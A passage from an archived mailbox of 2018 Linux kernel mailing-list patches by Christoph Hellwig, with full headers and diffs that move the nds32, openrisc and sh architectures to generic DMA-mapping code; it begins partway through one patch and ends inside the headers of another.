-	struct cpuinfo_or1k *cpuinfo = &cpuinfo_or1k[smp_processor_id()];
-
-	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-		or1k_sync_single_for_device(dev, addr, size, dir);
-	return addr;
 }
-
-static int
-or1k_map_sg(struct device *dev, struct scatterlist *sg,
-	    int nents, enum dma_data_direction dir,
-	    unsigned long attrs)
-{
-	struct scatterlist *s;
-	int i;
-
-	for_each_sg(sg, s, nents, i) {
-		s->dma_address = or1k_map_page(dev, sg_page(s), s->offset,
-					       s->length, dir, 0);
-	}
-
-	return nents;
-}
-
-const struct dma_map_ops or1k_dma_map_ops = {
-	.alloc = or1k_dma_alloc,
-	.free = or1k_dma_free,
-	.map_page = or1k_map_page,
-	.map_sg = or1k_map_sg,
-	.sync_single_for_device = or1k_sync_single_for_device,
-};
-EXPORT_SYMBOL(or1k_dma_map_ops);
-- 
2.17.0

From - Thu Nov 08 21:41:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel
Subject: [PATCH 10/25] nds32: use generic dma_noncoherent_ops
Date: Tue, 22 May 2018 14:04:15 +0200
Lines: 229
Approved: news@gmane.org
Message-ID: <20180522120430.28709-11-hch@lst.de>
References: <20180522120430.28709-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1526991057 24021 195.159.176.226 (22 May 2018 12:10:57 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 22 May 2018 12:10:57 +0000 (UTC)
Cc: linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>,
	Vincent Chen <deanbo422-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org,
	Greentime Hu <green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, nios2-dev-g9ZBwUv/Ih/yUk5EbOjzuce+I+R0W71w@public.gmane.org,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Tue May 22 14:10:52 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fL67v-00066e-IM
	for glki-iommu@m.gmane.org; Tue, 22 May 2018 14:10:51 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 5860BCEB;
	Tue, 22 May 2018 12:05:20 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id A0554CBA
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Tue, 22 May 2018 12:05:16 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org
	[198.137.202.133])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 07D996EE
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Tue, 22 May 2018 12:05:15 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=DXTeXfpSm3U1WFeAY68Cy4xZh+01Gxzc1iy+VLzvkV8=;
	b=aSqGIT4b3yBc6gGcPFPRk2jBC
	nhhfFwu5lcRodTYVuSP58IZFzfBJWhCcoueR/EfgQADaWqBb7BAWxCPWz3DJOtjqGMTPnmDRi2IX1
	kfcfOvlE7hNXvJMG6tG+DyoRQUejKNF/0MH8QjI1bQD0p2M+D5kCfdwNJ5lPCJ/DIR7QMvP4/LG1N
	Iugc8N/uFYn+TzNPJ3vaAeN+UWK65Ui6f/137r0IQ8KJ2yikTdyw5ryMc42W+sj+IXjmsd12fItrq
	Q239GHMeCfrEUK/uA+jI2XtIo70r/VzjqejMxrjytJRsdgHTM3+IdvCNKz+gjovBlb+aONFVJ0NQD
	nqKHltsWA==;
Original-Received: from 80-109-164-210.cable.dynamic.surfer.at ([80.109.164.210]
	helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fL62P-0008Oo-TN; Tue, 22 May 2018 12:05:10 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180522120430.28709-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:24495 gmane.linux.kernel.cross-arch:44304 gmane.linux.ports.parisc:28657 gmane.linux.ports.sh.devel:57075 gmane.linux.ports.hexagon:1763 gmane.linux.kernel:2773785 gmane.linux.ports.alpha:5084 gmane.linux.ports.sparc:27912 gmane.linux.kernel.arc:3940 gmane.linux.ports.arm.kernel:652039
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/24495>

Switch to the generic noncoherent direct mapping implementation.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/nds32/Kconfig                   |   3 +
 arch/nds32/include/asm/Kbuild        |   1 +
 arch/nds32/include/asm/dma-mapping.h |  14 ----
 arch/nds32/kernel/dma.c              | 113 +++------------------------
 4 files changed, 15 insertions(+), 116 deletions(-)
 delete mode 100644 arch/nds32/include/asm/dma-mapping.h

diff --git a/arch/nds32/Kconfig b/arch/nds32/Kconfig
index 249f38d3388f..67d0ac0a989c 100644
--- a/arch/nds32/Kconfig
+++ b/arch/nds32/Kconfig
@@ -5,10 +5,13 @@
 
 config NDS32
         def_bool y
+	select ARCH_HAS_SYNC_DMA_FOR_CPU
+	select ARCH_HAS_SYNC_DMA_FOR_DEVICE
 	select ARCH_WANT_FRAME_POINTERS if FTRACE
 	select CLKSRC_MMIO
 	select CLONE_BACKWARDS
 	select COMMON_CLK
+	select DMA_NONCOHERENT_OPS
 	select GENERIC_ATOMIC64
 	select GENERIC_CPU_DEVICES
 	select GENERIC_CLOCKEVENTS
diff --git a/arch/nds32/include/asm/Kbuild b/arch/nds32/include/asm/Kbuild
index 06bdf8167f5a..b3e951f805f8 100644
--- a/arch/nds32/include/asm/Kbuild
+++ b/arch/nds32/include/asm/Kbuild
@@ -13,6 +13,7 @@ generic-y += cputime.h
 generic-y += device.h
 generic-y += div64.h
 generic-y += dma.h
+generic-y += dma-mapping.h
 generic-y += emergency-restart.h
 generic-y += errno.h
 generic-y += exec.h
diff --git a/arch/nds32/include/asm/dma-mapping.h b/arch/nds32/include/asm/dma-mapping.h
deleted file mode 100644
index 2dd47d245c25..000000000000
--- a/arch/nds32/include/asm/dma-mapping.h
+++ /dev/null
@@ -1,14 +0,0 @@
-// SPDX-License-Identifier: GPL-2.0
-// Copyright (C) 2005-2017 Andes Technology Corporation
-
-#ifndef ASMNDS32_DMA_MAPPING_H
-#define ASMNDS32_DMA_MAPPING_H
-
-extern struct dma_map_ops nds32_dma_ops;
-
-static inline struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
-{
-	return &nds32_dma_ops;
-}
-
-#endif
diff --git a/arch/nds32/kernel/dma.c b/arch/nds32/kernel/dma.c
index 43d7fd432bb6..2b3167a1f259 100644
--- a/arch/nds32/kernel/dma.c
+++ b/arch/nds32/kernel/dma.c
@@ -3,17 +3,14 @@
 
 #include <linux/types.h>
 #include <linux/mm.h>
-#include <linux/export.h>
 #include <linux/string.h>
-#include <linux/scatterlist.h>
-#include <linux/dma-mapping.h>
+#include <linux/dma-noncoherent.h>
 #include <linux/io.h>
 #include <linux/cache.h>
 #include <linux/highmem.h>
 #include <linux/slab.h>
 #include <asm/cacheflush.h>
 #include <asm/tlbflush.h>
-#include <asm/dma-mapping.h>
 #include <asm/proc-fns.h>
 
 /*
@@ -119,10 +116,8 @@ static struct arch_vm_region *vm_region_find(struct arch_vm_region *head,
 	return c;
 }
 
-/* FIXME: attrs is not used. */
-static void *nds32_dma_alloc_coherent(struct device *dev, size_t size,
-				      dma_addr_t * handle, gfp_t gfp,
-				      unsigned long attrs)
+void *arch_dma_alloc(struct device *dev, size_t size, dma_addr_t *handle,
+		gfp_t gfp, unsigned long attrs)
 {
 	struct page *page;
 	struct arch_vm_region *c;
@@ -227,8 +222,8 @@ static void *nds32_dma_alloc_coherent(struct device *dev, size_t size,
 	return NULL;
 }
 
-static void nds32_dma_free(struct device *dev, size_t size, void *cpu_addr,
-			   dma_addr_t handle, unsigned long attrs)
+void arch_dma_free(struct device *dev, size_t size, void *cpu_addr,
+		dma_addr_t handle, unsigned long attrs)
 {
 	struct arch_vm_region *c;
 	unsigned long flags, addr;
@@ -329,11 +324,10 @@ static int __init consistent_init(void)
 
 core_initcall(consistent_init);
 
-static void
-nds32_dma_sync_single_for_device(struct device *dev, dma_addr_t handle,
-				 size_t size, enum dma_data_direction dir)
+void arch_sync_dma_for_device(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir)
 {
-	unsigned long start = (unsigned long)phys_to_virt(handle);
+	unsigned long start = (unsigned long)phys_to_virt(paddr);
 
 	switch (dir) {
 	case DMA_FROM_DEVICE:
@@ -347,11 +341,10 @@ nds32_dma_sync_single_for_device(struct device *dev, dma_addr_t handle,
 	}
 }
 
-static void
-nds32_dma_sync_single_for_cpu(struct device *dev, dma_addr_t handle,
-			      size_t size, enum dma_data_direction dir)
+void arch_sync_dma_for_cpu(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir)
 {
-	unsigned long start = (unsigned long)phys_to_virt(handle);
+	unsigned long start = (unsigned long)phys_to_virt(paddr);
 
 	switch (dir) {
 	case DMA_TO_DEVICE:
@@ -364,87 +357,3 @@ nds32_dma_sync_single_for_cpu(struct device *dev, dma_addr_t handle,
 		BUG();
 	}
 }
-
-static dma_addr_t nds32_dma_map_page(struct device *dev, struct page *page,
-				     unsigned long offset, size_t size,
-				     enum dma_data_direction dir,
-				     unsigned long attrs)
-{
-	dma_addr_t dma_addr = page_to_phys(page) + offset;
-
-	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-		nds32_dma_sync_single_for_device(dev, handle, size, dir);
-	return dma_addr;
-}
-
-static void nds32_dma_unmap_page(struct device *dev, dma_addr_t handle,
-				 size_t size, enum dma_data_direction dir,
-				 unsigned long attrs)
-{
-	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-		nds32_dma_sync_single_for_cpu(dev, handle, size, dir);
-}
-
-static void
-nds32_dma_sync_sg_for_device(struct device *dev, struct scatterlist *sg,
-			     int nents, enum dma_data_direction dir)
-{
-	int i;
-
-	for (i = 0; i < nents; i++, sg++) {
-		nds32_dma_sync_single_for_device(dev, sg_dma_address(sg),
-				sg->length, dir);
-	}
-}
-
-static void
-nds32_dma_sync_sg_for_cpu(struct device *dev, struct scatterlist *sg, int nents,
-			  enum dma_data_direction dir)
-{
-	int i;
-
-	for (i = 0; i < nents; i++, sg++) {
-		nds32_dma_sync_single_for_cpu(dev, sg_dma_address(sg),
-				sg->length, dir);
-	}
-}
-
-static int nds32_dma_map_sg(struct device *dev, struct scatterlist *sg,
-			    int nents, enum dma_data_direction dir,
-			    unsigned long attrs)
-{
-	int i;
-
-	for (i = 0; i < nents; i++, sg++) {
-		nds32_dma_sync_single_for_device(dev, sg_dma_address(sg),
-				sg->length, dir);
-	}
-	return nents;
-}
-
-static void nds32_dma_unmap_sg(struct device *dev, struct scatterlist *sg,
-			       int nhwentries, enum dma_data_direction dir,
-			       unsigned long attrs)
-{
-	int i;
-
-	for (i = 0; i < nhwentries; i++, sg++) {
-		nds32_dma_sync_single_for_cpu(dev, sg_dma_address(sg),
-				sg->length, dir);
-	}
-}
-
-struct dma_map_ops nds32_dma_ops = {
-	.alloc = nds32_dma_alloc_coherent,
-	.free = nds32_dma_free,
-	.map_page = nds32_dma_map_page,
-	.unmap_page = nds32_dma_unmap_page,
-	.map_sg = nds32_dma_map_sg,
-	.unmap_sg = nds32_dma_unmap_sg,
-	.sync_single_for_device = nds32_dma_sync_single_for_device,
-	.sync_single_for_cpu = nds32_dma_sync_single_for_cpu,
-	.sync_sg_for_cpu = nds32_dma_sync_sg_for_cpu,
-	.sync_sg_for_device = nds32_dma_sync_sg_for_device,
-};
-
-EXPORT_SYMBOL(nds32_dma_ops);
-- 
2.17.0


From - Thu Nov 08 21:41:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: [PATCH 19/25] sh: split arch/sh/mm/consistent.c
Date: Tue, 22 May 2018 14:04:24 +0200
Lines: 209
Approved: news@gmane.org
Message-ID: <20180522120430.28709-20-hch@lst.de>
References: <20180522120430.28709-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1526991105 27559 195.159.176.226 (22 May 2018 12:11:45 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 22 May 2018 12:11:45 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        Greentime Hu <green.hu@gmail.com>,
        Vincent Chen <deanbo422@gmail.com>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue May 22 14:11:40 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fL68h-00073F-Rp
	for glk-linux-kernel-4@m.gmane.org; Tue, 22 May 2018 14:11:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752398AbeEVMNs (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 22 May 2018 08:13:48 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.133]:54726 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751602AbeEVMFy (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 22 May 2018 08:05:54 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=IiPvraqthZ0e4k11q5C51hqKP8k+7UAzXF4bajbUro4=; b=qtOtYTauCdEIMvJY10/qQOLYx
        UWxERy7m57ZGEQhPzT+XMoanSH21wIBE8o+a72SPeaohfhBleA6+AHNUJ/mfi74M8w5h1+ryCp54E
        f1Eq4S1QPPzxK3Hn8Z6G4BP/XQwvOXVTg0PaSJyzd0Kvc0b1VBGp/VTAWD2jHNP+q5FGWuj7WnZCD
        Iu3TLKn4FaCF1Rkm1D5OphYlGmBbuGwKHPdIkaogdI1kaTfWBhMrz8Qf6oin08Ngm3VC9axr1L4w0
        nsFscaiQREzN9B4DY8LNuifBHVL/fTib5LZ8Igukgtv9eebRq1IMGEugYDymxuul1Ie30gTKS8Eb5
    
Original-Received: from 80-109-164-210.cable.dynamic.surfer.at ([80.109.164.210] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
        id 1fL62x-0001Ox-H1; Tue, 22 May 2018 12:05:43 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180522120430.28709-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2773787 gmane.linux.kernel.iommu:24496 gmane.linux.kernel.cross-arch:44305 gmane.linux.ports.alpha:5085 gmane.linux.kernel.arc:3941 gmane.linux.ports.arm.kernel:652040 gmane.linux.ports.hexagon:1764 gmane.linux.ports.parisc:28658 gmane.linux.ports.sh.devel:57076 gmane.linux.ports.sparc:27913
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2773787>

Half of the file just contains platform device memory setup code which
is required for all builds, and half contains helpers for dma coherent
allocation, which is only needed if CONFIG_DMA_NONCOHERENT is enabled.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/sh/kernel/Makefile       |  2 +-
 arch/sh/kernel/dma-coherent.c | 80 +++++++++++++++++++++++++++++++++++
 arch/sh/mm/consistent.c       | 75 --------------------------------
 3 files changed, 81 insertions(+), 76 deletions(-)
 create mode 100644 arch/sh/kernel/dma-coherent.c

diff --git a/arch/sh/kernel/Makefile b/arch/sh/kernel/Makefile
index cb5f1bfb52de..d5ddb64bfffe 100644
--- a/arch/sh/kernel/Makefile
+++ b/arch/sh/kernel/Makefile
@@ -45,7 +45,7 @@ obj-$(CONFIG_DUMP_CODE)		+= disassemble.o
 obj-$(CONFIG_HIBERNATION)	+= swsusp.o
 obj-$(CONFIG_DWARF_UNWINDER)	+= dwarf.o
 obj-$(CONFIG_PERF_EVENTS)	+= perf_event.o perf_callchain.o
-obj-$(CONFIG_DMA_NONCOHERENT)	+= dma-nommu.o
+obj-$(CONFIG_DMA_NONCOHERENT)	+= dma-nommu.o dma-coherent.o
 obj-$(CONFIG_HAVE_HW_BREAKPOINT)		+= hw_breakpoint.o
 
 ccflags-y := -Werror
diff --git a/arch/sh/kernel/dma-coherent.c b/arch/sh/kernel/dma-coherent.c
new file mode 100644
index 000000000000..4f41e5cd5207
--- /dev/null
+++ b/arch/sh/kernel/dma-coherent.c
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2004 - 2007  Paul Mundt
+ *
+ * This file is subject to the terms and conditions of the GNU General Public
+ * License.  See the file "COPYING" in the main directory of this archive
+ * for more details.
+ */
+#include <linux/mm.h>
+#include <linux/init.h>
+#include <linux/dma-mapping.h>
+#include <linux/module.h>
+#include <asm/cacheflush.h>
+#include <asm/addrspace.h>
+
+void *dma_generic_alloc_coherent(struct device *dev, size_t size,
+				 dma_addr_t *dma_handle, gfp_t gfp,
+				 unsigned long attrs)
+{
+	void *ret, *ret_nocache;
+	int order = get_order(size);
+
+	gfp |= __GFP_ZERO;
+
+	ret = (void *)__get_free_pages(gfp, order);
+	if (!ret)
+		return NULL;
+
+	/*
+	 * Pages from the page allocator may have data present in
+	 * cache. So flush the cache before using uncached memory.
+	 */
+	sh_sync_dma_for_device(ret, size, DMA_BIDIRECTIONAL);
+
+	ret_nocache = (void __force *)ioremap_nocache(virt_to_phys(ret), size);
+	if (!ret_nocache) {
+		free_pages((unsigned long)ret, order);
+		return NULL;
+	}
+
+	split_page(pfn_to_page(virt_to_phys(ret) >> PAGE_SHIFT), order);
+
+	*dma_handle = virt_to_phys(ret) - PFN_PHYS(dev->dma_pfn_offset);
+
+	return ret_nocache;
+}
+
+void dma_generic_free_coherent(struct device *dev, size_t size,
+			       void *vaddr, dma_addr_t dma_handle,
+			       unsigned long attrs)
+{
+	int order = get_order(size);
+	unsigned long pfn = (dma_handle >> PAGE_SHIFT) + dev->dma_pfn_offset;
+	int k;
+
+	for (k = 0; k < (1 << order); k++)
+		__free_pages(pfn_to_page(pfn + k), 0);
+
+	iounmap(vaddr);
+}
+
+void sh_sync_dma_for_device(void *vaddr, size_t size,
+		    enum dma_data_direction direction)
+{
+	void *addr = sh_cacheop_vaddr(vaddr);
+
+	switch (direction) {
+	case DMA_FROM_DEVICE:		/* invalidate only */
+		__flush_invalidate_region(addr, size);
+		break;
+	case DMA_TO_DEVICE:		/* writeback only */
+		__flush_wback_region(addr, size);
+		break;
+	case DMA_BIDIRECTIONAL:		/* writeback and invalidate */
+		__flush_purge_region(addr, size);
+		break;
+	default:
+		BUG();
+	}
+}
+EXPORT_SYMBOL(sh_sync_dma_for_device);
diff --git a/arch/sh/mm/consistent.c b/arch/sh/mm/consistent.c
index 5f86ae24025b..5da5be74fb6b 100644
--- a/arch/sh/mm/consistent.c
+++ b/arch/sh/mm/consistent.c
@@ -1,10 +1,6 @@
 /*
- * arch/sh/mm/consistent.c
- *
  * Copyright (C) 2004 - 2007  Paul Mundt
  *
- * Declared coherent memory functions based on arch/x86/kernel/pci-dma_32.c
- *
  * This file is subject to the terms and conditions of the GNU General Public
  * License.  See the file "COPYING" in the main directory of this archive
  * for more details.
@@ -13,78 +9,7 @@
 #include <linux/init.h>
 #include <linux/platform_device.h>
 #include <linux/dma-mapping.h>
-#include <linux/dma-debug.h>
 #include <linux/io.h>
-#include <linux/module.h>
-#include <linux/gfp.h>
-#include <asm/cacheflush.h>
-#include <asm/addrspace.h>
-
-void *dma_generic_alloc_coherent(struct device *dev, size_t size,
-				 dma_addr_t *dma_handle, gfp_t gfp,
-				 unsigned long attrs)
-{
-	void *ret, *ret_nocache;
-	int order = get_order(size);
-
-	gfp |= __GFP_ZERO;
-
-	ret = (void *)__get_free_pages(gfp, order);
-	if (!ret)
-		return NULL;
-
-	/*
-	 * Pages from the page allocator may have data present in
-	 * cache. So flush the cache before using uncached memory.
-	 */
-	sh_sync_dma_for_device(ret, size, DMA_BIDIRECTIONAL);
-
-	ret_nocache = (void __force *)ioremap_nocache(virt_to_phys(ret), size);
-	if (!ret_nocache) {
-		free_pages((unsigned long)ret, order);
-		return NULL;
-	}
-
-	split_page(pfn_to_page(virt_to_phys(ret) >> PAGE_SHIFT), order);
-
-	*dma_handle = virt_to_phys(ret) - PFN_PHYS(dev->dma_pfn_offset);
-
-	return ret_nocache;
-}
-
-void dma_generic_free_coherent(struct device *dev, size_t size,
-			       void *vaddr, dma_addr_t dma_handle,
-			       unsigned long attrs)
-{
-	int order = get_order(size);
-	unsigned long pfn = (dma_handle >> PAGE_SHIFT) + dev->dma_pfn_offset;
-	int k;
-
-	for (k = 0; k < (1 << order); k++)
-		__free_pages(pfn_to_page(pfn + k), 0);
-
-	iounmap(vaddr);
-}
-
-void sh_sync_dma_for_device(void *vaddr, size_t size,
-		    enum dma_data_direction direction)
-{
-	void *addr = sh_cacheop_vaddr(vaddr);
-
-	switch (direction) {
-	case DMA_FROM_DEVICE:		/* invalidate only */
-		__flush_invalidate_region(addr, size);
-		break;
-	case DMA_TO_DEVICE:		/* writeback only */
-		__flush_wback_region(addr, size);
-		break;
-	case DMA_BIDIRECTIONAL:		/* writeback and invalidate */
-		__flush_purge_region(addr, size);
-		break;
-	default:
-		BUG();
-	}
-}
 
 static int __init memchunk_setup(char *str)
 {
-- 
2.17.0



From - Thu Nov 08 21:41:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: [PATCH 17/25] sh: introduce a sh_cacheop_vaddr helper
Date: Tue, 22 May 2018 14:04:22 +0200
Lines: 79
Approved: news@gmane.org
Message-ID: <20180522120430.28709-18-hch@lst.de>
References: <20180522120430.28709-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1526991133 30203 195.159.176.226 (22 May 2018 12:12:13 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 22 May 2018 12:12:13 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        Greentime Hu <green.hu@gmail.com>,
        Vincent Chen <deanbo422@gmail.com>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue May 22 14:12:08 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
